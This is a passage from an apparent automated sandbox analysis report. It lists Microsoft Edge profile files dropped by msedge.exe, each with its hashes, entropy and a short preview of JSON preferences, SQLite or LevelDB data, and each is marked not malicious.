microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF358a0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4831589136631274
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvSVDHnoG9WhXFEFcOw1a:OIEumQv8m1ccnvSpo4WRFFOr
MD5:	65A2393B57CBFBA87AA69894EC5B9633
SHA1:	8F23F4991BEA8EA61ED3D4593D82D018CF093445
SHA-256:	37B2681F77AF4BF7A5FE5FCF299AB9BF34559EBACB138A5EFAC21C2A7C1BFFED
SHA-512:	32A840E7E307B1F99C4BECE8D9E7D0199DF75D8892D574FCE6829F00DEB3D76A04735B2C88EB1790B7285896C3B2D1A38A2B079AF6ED1B692B7EBF75F38E966D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF25068.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF26373.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2696e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a6df9f03-e91f-4f42-a112-601b3d77c93f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ad03f86d-ad22-4ca0-be69-97b136bd7cbd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ebbc4471-ba79-4742-82a3-85a0db212243.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13041
Entropy (8bit):	5.222278615495323
Encrypted:	false
SSDEEP:	192:stZJ99QTryDiuabatSuyp+sltdyaNP9kMtNpE8CbV+FT3QwB+WPGYJ:stZPGQSu4+sltdtJ4bGjQwh
MD5:	DFFAA8A9AF1D67719AE2A56A0145E936
SHA1:	6ED23C52C3B0E5E44061EE3079F2B1A0409FA467
SHA-256:	9BD4C8DF10E479381B68A582A82B6494A14CCC4B03BBF5523711FA3B300E625B
SHA-512:	35DF026D1839EE7DBE35E93EE15C4E6A21894AD309DF6F7C0E3ED3E41CFC03B97F2B89CCDCB3463FBD78E0C831E1C936DE7DC3C421B1E67612F03F6B34E8A226
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375978883361092","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF28bbb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13041
Entropy (8bit):	5.222278615495323
Encrypted:	false
SSDEEP:	192:stZJ99QTryDiuabatSuyp+sltdyaNP9kMtNpE8CbV+FT3QwB+WPGYJ:stZPGQSu4+sltdtJ4bGjQwh
MD5:	DFFAA8A9AF1D67719AE2A56A0145E936
SHA1:	6ED23C52C3B0E5E44061EE3079F2B1A0409FA467
SHA-256:	9BD4C8DF10E479381B68A582A82B6494A14CCC4B03BBF5523711FA3B300E625B
SHA-512:	35DF026D1839EE7DBE35E93EE15C4E6A21894AD309DF6F7C0E3ED3E41CFC03B97F2B89CCDCB3463FBD78E0C831E1C936DE7DC3C421B1E67612F03F6B34E8A226
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375978883361092","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2d7d8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13041
Entropy (8bit):	5.222278615495323
Encrypted:	false
SSDEEP:	192:stZJ99QTryDiuabatSuyp+sltdyaNP9kMtNpE8CbV+FT3QwB+WPGYJ:stZPGQSu4+sltdtJ4bGjQwh
MD5:	DFFAA8A9AF1D67719AE2A56A0145E936
SHA1:	6ED23C52C3B0E5E44061EE3079F2B1A0409FA467
SHA-256:	9BD4C8DF10E479381B68A582A82B6494A14CCC4B03BBF5523711FA3B300E625B
SHA-512:	35DF026D1839EE7DBE35E93EE15C4E6A21894AD309DF6F7C0E3ED3E41CFC03B97F2B89CCDCB3463FBD78E0C831E1C936DE7DC3C421B1E67612F03F6B34E8A226
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375978883361092","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF34d08.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13041
Entropy (8bit):	5.222278615495323
Encrypted:	false
SSDEEP:	192:stZJ99QTryDiuabatSuyp+sltdyaNP9kMtNpE8CbV+FT3QwB+WPGYJ:stZPGQSu4+sltdtJ4bGjQwh
MD5:	DFFAA8A9AF1D67719AE2A56A0145E936
SHA1:	6ED23C52C3B0E5E44061EE3079F2B1A0409FA467
SHA-256:	9BD4C8DF10E479381B68A582A82B6494A14CCC4B03BBF5523711FA3B300E625B
SHA-512:	35DF026D1839EE7DBE35E93EE15C4E6A21894AD309DF6F7C0E3ED3E41CFC03B97F2B89CCDCB3463FBD78E0C831E1C936DE7DC3C421B1E67612F03F6B34E8A226
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375978883361092","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564143757319335
Encrypted:	false
SSDEEP:	768:mPk661OWPK0fJu8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYg8zhhYrwBaOEJqKp1tux:mPk661OWPK0fJuu1jahg89hJBaO1Mt+
MD5:	824335C0DAD229E21BBDF36D8F332027
SHA1:	A35B91C68CD9268F002650BBBE31EBF8545BFFDA
SHA-256:	AF268FDA7D56D9FD92AC51D2581356D525CB8750BD9E51D1763630AA258DFD56
SHA-512:	41A8D86A95BC86F7E100553017F9AC70D3C6E032471F13B76F525E8B2151928F7AFE518A4B93EE3288900F473D43747EAFC2018FFF9548CF879679A5E2546339
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375978882411019","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375978882411019","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2907e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564143757319335
Encrypted:	false
SSDEEP:	768:mPk661OWPK0fJu8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYg8zhhYrwBaOEJqKp1tux:mPk661OWPK0fJuu1jahg89hJBaO1Mt+
MD5:	824335C0DAD229E21BBDF36D8F332027
SHA1:	A35B91C68CD9268F002650BBBE31EBF8545BFFDA
SHA-256:	AF268FDA7D56D9FD92AC51D2581356D525CB8750BD9E51D1763630AA258DFD56
SHA-512:	41A8D86A95BC86F7E100553017F9AC70D3C6E032471F13B76F525E8B2151928F7AFE518A4B93EE3288900F473D43747EAFC2018FFF9548CF879679A5E2546339
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375978882411019","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375978882411019","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.840656377652171
Encrypted:	false
SSDEEP:	48:F2ematrdDunfBoXrdbZWEHrdDuiBvrdNiBd:F1matxD40xbZWEHxD9xI
MD5:	EDE7707CB8155E0A4CC5E31AA853364E
SHA1:	EED942C506C704370A98113BA230B67595DA3B13
SHA-256:	D2A2ACFE27B360928FA0707C099111EE59A13EAB7A2827C1B14EBB89677001CF
SHA-512:	241F3C8BC8AB5BC07704DD1585ED9E230BF75EDC06FFD3E209DC011CE48FE78802F61DBEB0339DE53EC56756768E44728734C911D7D8E9C61E6B249B1D861F62
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2;hEbm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x...............................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.157579318348479
Encrypted:	false
SSDEEP:	6:HUmiQM1cNwi23oH+TcwtE/a252KLlVUmih+yq2PcNwi23oH+TcwtE/a2ZIFUv:5H2ZYeb8xLRXyvLZYeb8J2FUv
MD5:	4F207B7DCC06B33BCA652DEE26AB31D5
SHA1:	9BF8A73D7D05EB63CACB5164D77C4A8CDD916CC8
SHA-256:	0582D24EC370D1C351E8AD0FDEF03E9ACEA2B126D7E2F9F98DB2561DCDCAFECE
SHA-512:	21D9D1776CA8C3215337CBA7677621F4C02597C6BB8D9016F06ED5585DFA68832EF8CBB7B2869A76A1CD6A866E23BE2EFA80890CFF13D1875561EED8E1D59FFB
Malicious:	false
Preview:	2024/11/13-08:41:33.307 15c4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/13-08:41:33.320 15c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113994
Entropy (8bit):	5.57859109273493
Encrypted:	false
SSDEEP:	1536:Aa906yxPXfOrr1lhCe1nL/rmL/rSZXsCjaWNcHMKzVrWzgT:79LyxPXfOrr1lMe1nL/CL/SXsA8r5SQ
MD5:	024AFFA4D6AF9B1B2EF86802248BE285
SHA1:	4625ADE147BDFCA0A8114D2953697AAA17985C6A
SHA-256:	C00029830388DD927E361B3302C1C061C4CC7BBB4FA2EA5B5DB536EC4E9637FA
SHA-512:	4B51B88637E3A96799AD15A9D63C421EFA2C4D5F68658C22113A19A1019E7F385F4716F52A98E052960EA5C4CC4D5C8AF901C23CDB95C1BC7E173159B0DC165C
Malicious:	false
